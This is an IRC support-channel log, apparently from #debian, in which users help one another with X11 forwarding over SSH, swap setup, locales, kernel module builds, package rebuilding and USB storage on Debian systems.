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| 20:00.25 | puff | How do I see the environment variables for an existing process? I remember somehting like "cat /proc/processnumber/env", but that doesn't work. |
| 20:00.33 | asg | j_p_c_l: I'd stick with rc2 personally. I have to go, someone else might know. |
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| 20:00.41 | tazle | asg: it's not like it's your fault, unless you came up with PAM back when it was still a blink in the eye of the devil :) |
| 20:00.44 | j_p_c_l | asg: Thanks |
| 20:01.00 | settledown | lets say firefox for example |
| 20:01.11 | raf256 | O_O |
| 20:01.15 | kalag | puff: that should be environ |
| 20:01.15 | raf256 | :-& |
| 20:01.19 | raf256 | ROTFLMAAAAAOOOOOOOOOOOO |
| 20:01.25 | dkg0 | settledown: just run "mozilla-firefox" |
| 20:01.28 | kalag | settledown: firefox & |
| 20:01.30 | raf256 | bash.org Top 100 is absolutely AMAZING FUNNY |
| 20:01.42 | raf256 | ups, sorry, wrong channel |
| 20:01.44 | traz_ | yes, yes it is. hours of entertainment |
| 20:01.44 | m0p | great... |
| 20:01.46 | dkg0 | settledown: or what kalag said. |
| 20:01.57 | raf256 | but its quite cross-chaneel thing anyway :) |
| 20:02.08 | settledown | the command is 'firefox &'? |
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| 20:02.31 | stew | settledown: you are sshed in from you mac and want to start firefox on the remote machine and have the window show up on the local machine? |
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| 20:02.41 | settledown | yes |
| 20:02.42 | dkg0 | settledown: the command is firefox. the trailing ampersand tells your shell to put firefox in the background, and give you back the shell prompt. |
| 20:02.45 | puff | kalag: cat /proc/procesnumber/environ doesn't work either. |
| 20:02.47 | kalag | settledown: the command is 'firefox'... add the & if u want it to run in the background giving back your shell prompt |
| 20:02.48 | stew | settledown: are you running an xserver on the mac? |
| 20:02.58 | Marticus | hrm |
| 20:03.01 | settledown | stew: yes |
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| 20:03.23 | tazle | arrr |
| 20:03.26 | stew | settledown: what does it say when you type 'echo $DISPLAY' in the ssh session? |
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| 20:03.30 | kalag | puff: ls /proc/processnumber and take a look at the files, they should be named appropriately |
| 20:03.47 | j_p_c_l | About the installer partitioning: I said "create a 1G partition". I ended with a 979842 |
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| 20:03.49 | settledown | so the command is.... <program name> & |
| 20:03.52 | stew | settledown: it should say something like ":10.0" |
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| 20:03.53 | stew | settledown: yes |
| 20:03.58 | wohelsy | hello |
| 20:04.00 | j_p_c_l | About the installer partitioning: I said "create a 1G partition". I ended with a 956 M partition.... |
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| 20:04.12 | settledown | it worked!! |
| 20:04.14 | kalag | settledown: or better yet... http://www.xs4all.nl/~zweije/xauth.html |
| 20:04.20 | dkg0 | settledown: yay! |
| 20:04.24 | j_p_c_l | About the installer partitioning: I said "create a 1G partition". I ended with a 956 M partition.... Shouldn't it be a 1024M partition? |
| 20:04.27 | settledown | you guys rock |
| 20:04.30 | puff | kalag: Doh... I was mis-typing the proicess number. Damn. Thanks. |
| 20:04.30 | tazle | this is *so* stupid |
| 20:04.31 | dondelelcaro | j_p_c_l: stop repeating. |
| 20:04.31 | dvs | settledown: Settle down |
| 20:04.32 | Noldo | j_p_c_l: those japanise Gigas |
| 20:04.43 | dvs | ;-) |
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| 20:04.54 | kalag | settle down... lolz |
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| 20:05.00 | tazle | apparently pam_unix wants there to be an "x" in the password field of passwd if shadow is used |
| 20:05.03 | dkg0 | kalag: i don't think doing unencrypted X traffic across the network is a good idea these days unfortunately. |
| 20:05.05 | j_p_c_l | dondelelcaro: Sorry .. arrow keys very sensible on my laptop :-( |
| 20:05.05 | X101 | hi, I have set locale.gen to "no_NO ISO-8859-1", and I can write my international letters as my main user, but not as root. I want to have english as the default language, but have norwegian keyboard layout |
| 20:05.07 | tazle | I don't see it documented anywhere... |
| 20:05.11 | wohelsy | should i keep Win and debian installed on my PC or should i only keep debian? :| |
| 20:05.27 | dkg0 | kalag: better to do X11 tunneled through ssh like settledown is doing. |
| 20:06.00 | Seldo | I think the source I've installed using apt-get is unconfigured. How do I configure it? |
| 20:06.03 | kalag | dkg0: yup... the howto has a section on x forwarding too |
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| 20:06.25 | Xer | ho |
| 20:06.27 | Xer | hi |
| 20:06.33 | dkg0 | wohelsy: we can't know what you need your computer for, so it's hard to say what you should do. |
| 20:06.34 | settledown_debia | im i in? |
| 20:06.39 | dondelelcaro | j_p_c_l: hint: 1000000000/(1024*1024) |
| 20:06.42 | dkg0 | settledown_debia: yep. |
| 20:06.46 | settledown_debia | amazing |
| 20:06.48 | Seldo | xer: hi-ho, hi-ho? |
| 20:07.01 | Xer | where i can find kernel source? [.deb] |
| 20:07.08 | dondelelcaro | s/1024// |
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| 20:07.17 | wohelsy | for a desktop OS, i don't play any games, rarely watch movies, often listen to music, learning programing... |
| 20:07.17 | dkg0 | settledown_debia: so now you can run programs on your debian machine while no one is logged in to it at the console. |
| 20:07.21 | dvs | Xer: apt-cache search kernel-source |
| 20:07.24 | Xer | Seldo , i changed my kerybord soo i can guess the keys ;] |
| 20:07.26 | Xer | ... |
| 20:07.32 | Xer | im now not in linux ;] |
| 20:07.42 | Xer | i will download the file from windows |
| 20:07.42 | settledown_debia | so tunneling X11 is similar to VNC |
| 20:07.45 | Xer | then move it to linux |
| 20:07.45 | Xer | :P |
| 20:07.46 | m0p | brb |
| 20:07.48 | j_p_c_l | dondelelcaro: you mean the instaler uses G units as powers of 10, not as powers of 2.... |
| 20:07.52 | Xer | link for it? |
| 20:07.53 | Xer | ;D |
| 20:08.10 | dkg0 | settledown_debia: yes, it's similar. but it uses stronger encryption, and it passes across individual windows instead of an entire desktop. |
| 20:08.14 | dondelelcaro | j_p_c_l: the G units *are* in powers of ten unless you're using the gibibytes or whatever the hell the actual SI unit is |
| 20:08.22 | settledown | right |
| 20:08.29 | settledown | ok |
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| 20:08.39 | settledown | thanks dkg0 |
| 20:08.49 | dkg0 | settledown: if you want to do the whole "other-desktop-in-a-single-window" thing, you should look into xnest. |
| 20:08.54 | dkg0 | settledown: yer welcome. |
| 20:09.13 | cnorton_ | i have a partition /hdb5, which is formated as a linux swap, right now I am using /hda5 as the linux swap. Is there some way, I can use them both at the same time? |
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| 20:09.30 | dondelelcaro | j_p_c_l: if you want something else, ask for 1024M or something |
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| 20:09.42 | j_p_c_l | dondelelcaro: Isn't it a standart to use powers of 2 when talking about character devices? And only powers of 10 when taling about serial/bit devices, as network transmissions? |
| 20:10.03 | dondelelcaro | j_p_c_l: no, it's not, unfortunatly. |
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| 20:11.07 | kalag | cnorton: mkswap /dev/hdb5 ; swapon /dev/hdb6 and consider editing fstab so it gets mounted during bootup |
| 20:11.21 | dondelelcaro | j_p_c_l: the giga prefix means 10^9. It's been perverted through long standing use to mean (2^30) but that doesn't make it particularly sane. |
| 20:11.23 | j_p_c_l | dondelelcaro: That means that I must create a partition of 1024*1024 K using the installer to have a swap of 1GB to equal my RAM... that too much work.... damn.... All these year thinking fdisk used powers of two when I said 512M or whatever... |
| 20:11.36 | settledown | xnest |
| 20:11.47 | settledown | is that the link from kalag |
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| 20:12.13 | j_p_c_l | dondelelcaro: and the M will stand ( in the installer and in fdisk ) as 10^6 and not 2^20 .... right? |
| 20:12.14 | X101 | anyone.. please. I have "no_NO ISO-8859-1" in /etc/locale.gen, but I still cant write my international letters as root. it works as my regular user though. my system language was Norwegian, but I managed to set it to english after adding us_EN in locale.gen, then changing back to no_NO again. now whats left is the keyboard layout |
| 20:12.30 | dkg0 | settledown: the link from kalag was about a bunch of different ways to forward X11 connections. |
| 20:12.30 | kalag | settledown: that link was the remote x apps mini-howto |
| 20:12.38 | dondelelcaro | j_p_c_l: I don't know what it stands for in either, but if you ended up with the numbers you got, that's what is happening. |
| 20:13.05 | j_p_c_l | dondelelcaro: ok, one must try then... ok. Thanks! |
| 20:13.07 | settledown | where can i learn about xnest |
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| 20:13.13 | settledown | i know...google |
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| 20:13.20 | VCR | hey all |
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| 20:14.33 | dim | Is there any option I can set in Exim (/etc/exim.conf) to allow external connections from the outside? It seems to ONLY work when connecting through localhost. |
| 20:14.37 | dim | I tried setting the 'interface = my.ip' option, but no luck |
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| 20:15.10 | VCR | does anyone know what drivers i have to use to install an xfree server on ati radeon 9550? |
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| 20:15.24 | m0p | Back! I really hate my internet :( Stupid dialup!! |
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| 20:15.48 | ico2 | hey |
| 20:15.52 | VCR | hi |
| 20:15.53 | ico2 | i am having trouble |
| 20:16.01 | swatikiss | is there a way i can see how much memory i have on a compet from the command line / |
| 20:16.02 | ico2 | i am trying to install cupsys from debs |
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| 20:16.06 | reto | hi |
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| 20:16.18 | ico2 | but |
| 20:16.20 | VCR | new to linux, so i have no idea :) |
| 20:16.22 | Theory | what is the command to get apt/dpkg to reinstall a package? |
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| 20:16.33 | ico2 | apt-get install package |
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| 20:16.40 | VCR | dpkg-reconfigure package |
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| 20:16.47 | Theory | it's latest version, but corrupt, I want files to be installed again |
| 20:16.52 | VCR | ah |
| 20:16.59 | unknown_lamer | Theory: apt-get install --reinstall foo |
| 20:17.04 | VCR | why don't you atp-get remove? |
| 20:17.04 | Theory | thanks |
| 20:17.06 | green_earz | swatikiss: top may be of help |
| 20:17.16 | Theory | VCR: package in question is depended on by lots of stuff |
| 20:17.16 | lkd | im installing debian via chroot/debootstrap and keep getting the following error when i try to apt-get anything...Reading Package Lists... |
| 20:17.16 | lkd | el`: Dynamic MMap ran out of room |
| 20:17.17 | lkd | el`: Error occured while processing libiodbc2 (NewVersion1) |
| 20:17.17 | lkd | el`: Problem with MergeList /var/lib/apt/lists/ftp.us.debian.org_debian_dists_stable_main_binary-i386_Packages |
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| 20:17.22 | ico2 | cupsys requires xpdf-utils which has a wierd post install script |
| 20:17.32 | ico2 | how do i stop dpkg running the script? |
| 20:17.41 | lkd | mrrgh |
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| 20:17.55 | swatikiss | green_earz, thanks |
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| 20:18.07 | Blissex | ico2: lots of Debian package have ridiculous, stupid, very badly written post (pre) install scripts, and you have to take them as they are. |
| 20:18.12 | ico2 | bah |
| 20:18.17 | ico2 | there is no way to stop it? |
| 20:18.26 | Glitch_Master | Heya... |
| 20:18.35 | Glitch_Master | Actually, I didn't mean to join this. |
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| 20:18.40 | dkg0 | settledown: try this command: "Xnest :2 & DISPLAY=:2 /etc/X11/Xsession" |
| 20:18.41 | ico2 | it uses switches for find that busybox does not support so it does not install |
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| 20:18.57 | tarzeau | heh it's weekend |
| 20:19.01 | Glitch_Master | Well, maybe this is Debian-related in some way. |
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| 20:19.10 | archpollux | why the heck is apt-get dist-upgrade installing Caudium? |
| 20:19.13 | tarzeau | Blissex: how many of them have post/pre install scripts at all? |
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| 20:19.23 | ico2 | is there any way to prevent/change a postinstall script? |
| 20:19.24 | settledown | ok, but i am playing gnometris on my mac, heh |
| 20:19.29 | nagual | archpollux: because you have apache-utils2? |
| 20:19.38 | dkg0 | settledown: (if you don't have xnest installed already on the debian machine, you'll need to do "apt-get install xnest" as root first) |
| 20:19.42 | nagual | happened to me yesterday, no idea why that happened |
| 20:19.48 | Blissex | tarzeau: too many :-) |
| 20:19.50 | ico2 | install a proper version of find so the script runs |
| 20:19.52 | tarzeau | ico2: you can get the package source, apt-get source pkg |
| 20:20.01 | tarzeau | ico2: change it, build it, install your own version |
| 20:20.03 | archpollux | nagual: so? |
| 20:20.08 | ico2 | ok, i am going to try installing the standard find program first |
| 20:20.09 | ico2 | thanks |
| 20:20.20 | El_ME | Blissex: wanna try to install snort with my packagemanager ? |
| 20:20.46 | Blissex | El_ME: *your* packagemanager? which one? |
| 20:21.13 | El_ME | Blissex: its just something i tinker with, if you want to help me test it.. |
| 20:21.39 | Blissex | El_ME: I am skeptical of course. :-) |
| 20:21.49 | El_ME | yes, you should be |
| 20:21.52 | lkd | el`: Problem with MergeList /var/lib/apt/lists/ftp.us.debian.org_debian_dists_stable_main_binary-i386_Packages: The package lists or status file could not be parsed or opened. <<<<----apt-get dist-upgrade on a chroot/debootstrap install? anyone familiar? |
| 20:21.57 | Glitch_Master | At higher resolutions configured in X, my VGA monitor's display gets kind of jittery. Is this an issue of refresh rate? |
| 20:22.08 | greycat | lkd: apt-get update |
| 20:22.15 | Blissex | El_ME: however, have you read my profound revelations on package manager design? They are here: http://www.sabi.co.uk/Notes/linuxWhyPackages.html |
| 20:22.21 | lkd | hmm i get the same error greycat |
| 20:22.22 | Glitch_Master | (Yes, I know it's a general hardware question, but I figured someone might throw me the answer) |
| 20:22.32 | Glitch_Master | Check your spelling, lkd |
| 20:22.33 | El_ME | Blissex: this is the conf for the packages: (only test with snort, mplayer, gproftpd, gdhcpd) http://213.64.66.47/distfiles/packages.conf |
| 20:22.45 | El_ME | Blissex: want to test ? |
| 20:22.51 | archpollux | lkd: syntax error in /etc/apt/sources.list, prolly |
| 20:22.56 | El_ME | http://mange.dynup.net/linux/update/ |
| 20:23.07 | VCR | what drivers do i need to install xfree86 on a ati radeon vid card? tried ati and atimisc, none works. |
| 20:23.10 | Blissex | El_ME: Ilkk have a look. I have a keen interest in package management... |
| 20:23.20 | El_ME | me too |
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| 20:23.24 | greycat | VCR: woody? sarge? |
| 20:23.28 | VCR | woody |
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| 20:23.32 | lkd | archpollux - that was it...i had ran base-config three times, and sources.list _showed_ it!! 35+ sources |
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| 20:23.57 | El_ME | im not Very fond of the rpm or deb thing (although good for many) |
| 20:24.00 | lkd | guessing @ the 35 o/c |
| 20:24.04 | lkd | thanks all |
| 20:24.08 | Blissex | El_ME: so read my package management page, you will be amazed by the wisdom and depth of my revelations... :-) |
| 20:24.14 | greycat | lkd: comment out the 34 sources you don't need. |
| 20:24.19 | greycat | lkd: or at least the one that's breaking... |
| 20:24.25 | tr606 | Is there a command to find out at what resolution and refresh rate X is running ? |
| 20:24.25 | Blissex | El_ME: RPM is sort of OK, DPKG is just terrible. |
| 20:24.26 | El_ME | Blissex: haha, url ? |
| 20:24.28 | Glitch_Master | Ah, it was the refresh rate. All is good now. |
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| 20:24.30 | ico2 | ok, i got cups to install, now how do i use it? |
| 20:24.41 | greycat | VCR: woody's X server has very poor radeon support |
| 20:24.43 | lkd | greycat - base-config kept appending the same 4 or 5 sources... |
| 20:25.00 | Blissex | El_ME: http://www.sabi.co.uk/Notes/linuxWhyPackages.html |
| 20:25.01 | dvs | ico2: http://localhost:631 |
| 20:25.03 | VCR | greycat: thx, but is there any way to even get it running? |
| 20:25.04 | ico2 | ok |
| 20:25.05 | ico2 | thanks |
| 20:25.07 | lkd | so i just dumped all the extras |
| 20:25.16 | doublehp | <PROTECTED> |
| 20:25.21 | doublehp | RSS allow to download XML content of BLOGS; is there a way to upldoad XML ? |
| 20:25.28 | ico2 | dvs: connection refused |
| 20:26.11 | green_earz | tr606: dpkg-reconfigure xserver-xfree86 will take you to the setup for xserver |
| 20:26.24 | El_ME | Blissex: similar to why im making this.. plus the speed of adding a new source package |
| 20:26.58 | dvs | ico2: You did use a browser right? |
| 20:27.01 | El_ME | Blissex: i read the first A4's |
| 20:27.01 | Blissex | El_ME: uhm. I'll get in touch by email (is the address in the ''conf'' page the one I should use?) |
| 20:27.08 | ico2 | dvs:yes |
| 20:27.08 | j_p_c_l | I have 110 GB of disk to get on software RAID1... is it advisable to partition in half by some reason (for instance to speed up resync time?), doing 2 RAID1 partitions instead of one? |
| 20:27.12 | tr606 | green_earz: I know that, thanks, just wondering if there's any way for an application or user to find out (eg. when you're logged in to a workstation via ssh)... |
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| 20:27.36 | archpollux | j_p_c_l: can't make it faster, it's the same disk |
| 20:27.58 | dvs | ico2: Must be a (badly installed) firewall. |
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| 20:28.24 | ico2 | afk |
| 20:28.27 | ico2 | afk |
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| 20:28.35 | El_ME | Blissex: its all over, youll find it... im assuming ill be out of a job in 2 months so then ill have time to do some serious things.. mail.. |
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| 20:28.52 | X101 | how do I set it up so I can write øæå as root? |
| 20:28.56 | Blissex | El_ME: OK, I'll contact you. |
| 20:29.03 | El_ME | do that |
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| 20:29.06 | j_p_c_l | archpollux: One would resync after the other, right? Therefore the same time... But you would have acess to the contents of the 1rst partiton sooner... or it's not a good reasoning? |
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| 20:29.44 | reto | hm i'm getting a very weird error in dpkg and can't find any results googling it :\ i can't install anything anymore with apt.. |
| 20:29.48 | reto | Entpacke unzip (aus .../archives/unzip_5.51-2_i386.deb) ... |
| 20:29.48 | reto | dpkg-deb: Unterprozess <decompress> getötet mit Signal (Speicherzugriffsfehler) |
| 20:29.58 | reto | speicherzugriffsfehler = segmentation fault |
| 20:30.01 | El_ME | dvs: good movie so far ? |
| 20:30.06 | El_ME | hehe |
| 20:30.11 | dvs | ;-) |
| 20:30.20 | reto | worked for me till i apt-get upgraded |
| 20:30.20 | archpollux | j_p_c_l: how would u have access to the contents of the first partition sooner? |
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| 20:30.26 | DimmuR | Hi I'm trying to conect pendrive via usb to linux. All in 2.6.10 kernel with USB Mass Storage compiled and loaded. When i plug usb into computer i see message like: "scsi6: SCSI emulation for USB Mass Storage Devices [...] Type: Direct Access" but still cannot acces to drive via /dev/sdx (fdisk -l shows only old drives) any1 can help me to mout it? |
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| 20:30.46 | dvs | DimmuR: Try sdx1 |
| 20:31.04 | stew | DimmuR: do you have sd_mod loaded? |
| 20:31.05 | tazle | with NIS I can't login, when the same ifnormation is copied to local shadow file I can login |
| 20:31.12 | DimmuR | dvs: i tried /dev/sd[a-d][1-10] |
| 20:31.32 | tazle | getent shadow has the exact same output with NIS and without NIS with the data copied over |
| 20:31.54 | DimmuR | stew: what this module do? I have no this module |
| 20:31.57 | dvs | DimmuR: What device does the log file say precisely? |
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| 20:32.31 | j_p_c_l | archpollux: Weel, If I'm right, if I have 2 RAID1 partitions of 50GB instead of 1 with 100GB, in case of a resync, one of them starts syncing... after the first 50GB are synced, the system starts syncing the second partition, but lets one use the contents of the 1rst one that is aalready sinc'ed.... or I need to read more about how this syncing thing is done? |
| 20:32.55 | stew | DimmuR: scsi disk support |
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| 20:33.15 | archpollux | by i suppose you mean the syscal... |
| 20:33.34 | archpollux | j_p_c_l: by sync i suppose u mean the syscall? |
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| 20:34.12 | DimmuR | stew: i have no disk support... i recompile it and check |
| 20:34.51 | j_p_c_l | archpollux: I was thinking in case of a disk crash + disk replacement... how soon could I have my files "online" again.... |
| 20:35.25 | j_p_c_l | archpollux: AFAIK, the RAID syncing is a automatic process that happens as soon as you replace the disk |
| 20:35.58 | iceman | try cat /proc/mdstat |
| 20:36.01 | j_p_c_l | archpollux: I'm not refering to the "sync" to flush the data to the disks |
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| 20:36.20 | archpollux | j_p_c_l: ok, RAID syncing... i don't know about that... but raid1 is what, i forgot |
| 20:36.22 | zeb | Hi all. Has anyone any experience of getting Slash to work with Apache 2? I've run an apt-get install, and it wants to install Apache 1.3, whereas I would prefer it to use the 2.0 version installed already. |
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| 20:36.31 | j_p_c_l | archpollux: mirroring |
| 20:36.36 | archpollux | j_p_c_l: aha |
| 20:36.46 | archpollux | j_p_c_l: you might have a point, not sure... |
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| 20:37.17 | settledown | dkg0>settledown: try this command: "Xnest :2 & DISPLAY=:2 /etc/X11/Xsession" |
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| 20:37.27 | settledown | was rejected because of wrong authentication |
| 20:37.41 | X101 | hi, I have set locale.gen to "no_NO ISO-8859-1", and I can write my international letters as my main user, but not as root |
| 20:37.58 | j_p_c_l | iceman: If that's for me, the question is: I have 100 G of disk to put on RAID1. Do I have an advantage to split in two 50 GB partitions, will this bring benefits somehow, like faster resyncing and therefore faster time to put my server back online? |
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| 20:38.17 | j_p_c_l | archpollux: Thanks anyway :-) |
| 20:38.31 | paroneayea | how do I install flashplugin-nonfree ? |
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| 20:39.29 | lkd | why would pump return: failed to connect to localhost:bootpc: No such file or directory |
| 20:39.30 | lkd | why is it trying to connect to localhost??? |
| 20:39.39 | iceman | j_p_c_l: Im sorry man, I really don't know enough to answer that |
| 20:39.45 | settledown | !seen dpg0 |
| 20:39.46 | dpkg | i haven't seen 'dpg0', settledown |
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| 20:40.29 | settledown | !seen dkg0 |
| 20:40.30 | dpkg | dkg0 <~dkg@216.73.53.253> was last seen on IRC in channel #debian, 20m 52s ago, saying: 'settledown: (if you don't have xnest installed already on the debian machine, you'll need to do "apt-get install xnest" as root first)'. |
| 20:41.31 | archpollux | j_p_c_l: np |
| 20:41.50 | tazle | err |
| 20:41.57 | tazle | pam_unix doesn't use NIS data? |
| 20:43.12 | tazle | also, what caching does libnss_nis do? |
| 20:43.26 | DimmuR | stew: now i get in fdisk -l strange infos |
| 20:43.46 | DimmuR | <PROTECTED> |
| 20:43.46 | DimmuR | /dev/sda1 ? 3769701 4109801 84344761 69 Unknown |
| 20:43.46 | DimmuR | Partition 1 has different physical/logical beginnings (non-Linux?): |
| 20:43.46 | DimmuR | <PROTECTED> |
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| 20:47.14 | stew | DimmuR: what partition type is 69? |
| 20:47.40 | stew | DimmuR: doesn't seem like this thing has a valid parition table |
| 20:47.48 | stew | DimmuR: fdisk doesn't even know what 69 is |
| 20:47.56 | greycat | poor fdisk. |
| 20:48.26 | jethro | hah |
| 20:48.27 | Seldo | I'm trying to use make-kpkg to configure my kernel source so that I can build a driver module for my wireless card, but just running make-kpkg quiets with "fork.c: conflicting types for kernel_thread" |
| 20:48.46 | greycat | sounds like a broken kernel. |
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| 20:49.44 | ico2 | back |
| 20:49.50 | ico2 | how do i run cups? |
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| 20:50.05 | ico2 | i think i need to run something before i open it in a browser |
| 20:50.06 | DimmuR | stew: i got much more infos not only this and in cfdisk there is no partition type 69 |
| 20:50.21 | Seldo | i got the kernel source from apt-get, and the kernel headers from apt-get, then copied "include" from the kernel-headers-x.x.x to kernel-source-x.x.x and ran make-kpkg. What should I have done instead? |
| 20:50.42 | dvs | Seldo: Don't do the header copy |
| 20:50.50 | DimmuR | stew: but in vmware i can use this pendrive (win2k3) and store data and there i can see that it's fat16 |
| 20:50.53 | MobyTurbo | Seldo: if you have the source the headers are redundant |
| 20:50.59 | X101 | why would I be able to write my international letters as a regular user, but not root? |
| 20:51.11 | X101 | I just want english system language, but Norwegian keyboard |
| 20:51.12 | Seldo | (oh, and I got .config from /boot/) |
| 20:51.12 | MobyTurbo | Seldo: the header package is for people who need the headers but not the rest of the source |
| 20:51.13 | greycat | why would you WANT to do it as root? |
| 20:51.45 | X101 | greycat: oh, I guess I could copy those letters when I need them... </ironi> |
| 20:52.02 | NaRCoT | I'm configuring mutt, and there's no option for sending mail through pop3. Anyone knows what option sipports pop3 for sending and smtp for reciving ? |
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| 20:52.13 | Seldo | mobyturbo: I think that's what I *do* need -- I'm trying to compile a driver module for a pcmcia card; I don't think I need the kernel source |
| 20:52.22 | greycat | X101: if you need to delete files with non-ASCII chars in their names, just use tab completion... |
| 20:52.24 | kiy | where i can find debian os supported hardware list? |
| 20:52.29 | MobyTurbo | NaRCoT: you got it backwards, smtp is for sending, pop3 for recieving |
| 20:52.30 | greycat | X101: I can't see what else root would need them for. |
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| 20:52.47 | X101 | greycat: I cant autocomplete words in a text file for instance |
| 20:52.52 | NaRCoT | MobyTurbo, Sorry, Typo mistake... :) |
| 20:53.07 | X101 | greycat: Im talking about ØÆÅøæå |
| 20:53.10 | greycat | X101: root should NEVER be putting non-ASCII stuff in a text file. |
| 20:53.12 | abrotman | kiy: same as linux |
| 20:53.33 | stew | DimmuR: i dunno what to tell you, that partition table isn't valid as far as linux is concerned |
| 20:54.07 | MobyTurbo | NaRCoT: just use exim to send and fetchmail to recieve, exim is configured easily by Debian tools and fetchmail has a very easy syntax that's documented in its manpage. |
| 20:54.14 | X101 | greycat: should I copy the config file to my user, change permissions, login as the user, write what I need, login as root, copy over the file and change permissions again instead? |
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| 20:54.23 | DimmuR | stew: i could recreate partition but still cant get access to device (the same info as before) |
| 20:54.35 | greycat | X101: WHAT config file are you talking about? |
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| 20:55.11 | jethro | greycat: maybe he's adding comments to config files, ,comments not being in english |
| 20:55.21 | greycat | jethro: oh, comments... that's marginally acceptable. |
| 20:55.29 | jethro | sounds like the only possibility to me |
| 20:55.40 | X101 | greycat: hypothetically, comments in a config file |
| 20:55.46 | X101 | jethro: exactly |
| 20:55.50 | greycat | I don't like that "hypothetically". |
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| 20:55.54 | Seldo | Is there a separate Rules.make for kernel 2.4.18-k6 than for 2.4.18 ? If so, where would I find it? |
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| 20:56.13 | abrotman | Seldo: in the image source package ? |
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| 20:56.20 | NaRCoT | MobyTurbo, I've already Installed 'mutt'.... |
| 20:56.27 | X101 | greycat: but according to your extreme need of debating it, I'll take that as "I dont know", or "its not possible" |
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| 20:56.46 | MobyTurbo | NaRCoT: do you have exim and fetchmail installed? |
| 20:57.04 | Seldo | I don't think I have an image source package. I just have the result of running apt-get for kernel-header-2.4.18-k6 and kernel-source-2.4.18 |
| 20:57.41 | Seldo | But I have no idea what to do with those things to produce the "kernel configuration" that I think I need to run make on this source I have for this driver module. |
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| 20:57.56 | stew | DimmuR: if i were you, i'd get the info off, then patition it in linux, then put the data back on from windwos |
| 20:58.10 | greycat | Seldo: why on earth would you download source *and* headers? |
| 20:58.13 | abrotman | Seldo: no .. there is a source package for the image package |
| 20:58.15 | greycat | Seldo: what are you trying to do? |
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| 20:58.22 | greycat | abrotman: no, there isn't |
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| 20:58.33 | dvs | greycat: Make a custom module |
| 20:58.51 | greycat | dvs: then he wants "apt-get install kernel-headers-$(uname -r) module-assistant debhelper" |
| 20:59.00 | greycat | possibly build-essential, if he doesn't already have it |
| 20:59.16 | Seldo | greycat: I have a wireless card that needs linux drivers. They don't come compiled; I just have a load of source. I'm trying to compile that source. Every time I try to compile it, it complains that it can't find various files: .config, or modrevisions.h, or whatever. I'm trying to sort that out, but I have NO. IDEA. what. I. am. doing. |
| 20:59.24 | abrotman | greycat: from packages.d.o http://packages.debian.org/testing/source/kernel-latest-2.6-i386 |
| 20:59.42 | DimmuR | stew: the problem is that i cant get access to the device on linux - i dont mind about data :/ |
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| 21:00.17 | greycat | Seldo: apt-get install kernel-headers-$(uname -r) module-assistant build-essential debhelper |
| 21:00.21 | greycat | Seldo: man m-a |
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| 21:00.42 | Seldo | I can't find module-assistant in my apt-cache -- no internet connection on this machine, remember. |
| 21:01.30 | greycat | Seldo: then fucking FIX THAT! |
| 21:02.04 | greycat | use your non-wireless card. |
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| 21:02.39 | ribnitz | heyas |
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| 21:02.44 | Seldo | greycat: I don't have one for the machine in question -- it's an ancient laptop. The only other input I have is via CD. |
| 21:03.00 | ribnitz | why is atapi emulation so horribly sluggish for cd-burning? |
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| 21:03.08 | Seldo | greycat: what could I download that would have module-assistant on it? |
| 21:03.31 | jethro | Seldo: search for module-assistant on packages.debian.org and get the .deb |
| 21:04.01 | ribnitz | Seldo: its packaged |
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| 21:04.22 | Seldo | thank you all, and sorry for being consistently clueless :-/ |
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| 21:05.00 | ribnitz | Seldo: next time, we will cluebat you. .) |
| 21:05.19 | jabr | new to apt. want to recompile php with support for additional functions. |
| 21:05.34 | ribnitz | jabr: apt-get source |
| 21:05.53 | omlette_ | i'm a new linux user and i upgraded the kernel the other day to 2.6.8, but it has errors and panics, i think its because its not mounting to the correct device (i've got 2 SATA drives), does anyone know a fix? i can type the error if you need it |
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| 21:05.55 | jabr | apt-get source php, then apt-get build-dep php |
| 21:06.08 | jabr | right? |
| 21:06.13 | lkd | anyone know why pump -i <interface> would return: failed to connect to localhost:bootpc: No such file or directory |
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| 21:06.17 | jabr | then do my configure? |
| 21:06.24 | jabr | then build the .dep file? |
| 21:06.32 | ribnitz | Seldo: that's like asking the internet oracle about marmots. |
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| 21:07.17 | ribnitz | Anything I can do about sluggish atapi emulation in 2.6.10? |
| 21:07.27 | ribnitz | on burning cds? |
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| 21:08.33 | lkd | oh god |
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| 21:09.18 | MobyTurbo | ribnitz: plead with the kernel authors to fix and re-implement ide-scsi |
| 21:09.27 | Hell-Man | varför kan inte jag ansluta mot min win dator via vncviewer i linux.. är de nått speciellt man måste göra |
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| 21:10.16 | drac | Hell-Man: English .. |
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| 21:10.42 | jabr | to rebuild from source: atp-get source package; apt-get build-dep package; ./configure; make; dpkg-buildpackage; dpkg -i file.dep ... ? that right? |
| 21:10.46 | Hell-Man | oo h sorry wrong channel |
| 21:11.12 | greycat | jabr: no. skip the ./configure and the make, and use "dpkg-buildpackage -rfakeroot -uc -us" |
| 21:11.34 | greycat | jabr: also there'll be a "cd ...." in it. |
| 21:11.39 | DimmuR | stew: i still get this strange infos but now i can mount it on /dev/sda) and i see all data |
| 21:11.47 | jabr | greycat - ok, how does it know the custom configure options I want to pass? |
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| 21:13.10 | greycat | jabr: editor debian/rules |
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| 21:13.16 | greycat | jabr: /msg dpkg debian/rules |
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| 21:14.33 | brullo | What is the opinion on the FSFs LinuxBIOS? |
| 21:14.46 | jabr | k thanks greycat |
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| 21:14.58 | omlette__ | no one has any idea how to fix this kernel issue im having? :/ |
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| 21:15.15 | MobyTurbo | brullo: it wouldn't take much to make something superior to PC BIOSes. |
| 21:15.45 | brullo | MobyTurbo, Have you tried it? |
| 21:15.52 | MobyTurbo | brullo: no. |
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| 21:16.23 | brullo | Souns VERY scary to experiment with a replacement BIOS...woaa |
| 21:16.34 | brullo | s/Souns/Sounds |
| 21:17.04 | greycat | brullo: well, obviously you don't do it on your production server |
| 21:17.21 | brullo | greycat, God forbid :-) |
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| 21:20.27 | jabr | greycat: just add my custom config stuff to COMMON_CONFIG? |
| 21:21.42 | cyberyo_ | http://abrutis.com/video.php?id=308 |
| 21:21.43 | daft_ | I need a little help with bloodbot but i cant find any support on the website knows some one here the support channel or can anser it (it is a small question) |
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| 21:22.14 | mrhemlock | daft_, try the mailing list |
| 21:22.32 | greycat | jabr: I don't have a clue what's in your specific package's debian/rules file. Wing it. |
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| 21:24.34 | abrotman | greycat: shuldn't you be on your way home? |
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| 21:24.38 | daft_ | mrhappymac: cant find a mailing list only the cvs one |
| 21:24.48 | sml | abrotman, greycat my god do you guys live here ! lol :) |
| 21:25.05 | abrotman | not me! |
| 21:25.09 | sml | abrotman: :) |
| 21:25.12 | abrotman | i'll be gone all weekend! .. bachelor party!! |
